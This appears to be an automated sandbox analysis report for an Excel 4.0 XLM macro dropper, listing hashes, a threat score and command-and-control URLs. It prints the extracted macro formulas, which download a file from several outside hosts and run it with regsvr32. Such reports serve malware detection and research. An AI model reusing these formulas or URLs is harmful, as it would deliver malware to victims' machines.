14675d4f33e1ff09f7391aafe92cbbf7cac42b4941f4e2c824be067ebbba8dee

General

Target

14675d4f33e1ff09f7391aafe92cbbf7cac42b4941f4e2c824be067ebbba8dee
Size

51KB
Sample

241120-m8gs8svhpa
MD5

664d6ae287ccb8ace7091f771a5ee8a6
SHA1

93409c1de6495383f2358c7c8f52790400cc96a9
SHA256

14675d4f33e1ff09f7391aafe92cbbf7cac42b4941f4e2c824be067ebbba8dee
SHA512

93eb14cd14817f67795f0d6ecf7a8467431a0ee9cb5bd76e0174cbcab4bf783674db941650392b7b07a315f10f4c7164c61ef0f9d568d69a80ebf5d04e75fcf9
SSDEEP

768:qICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:qItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/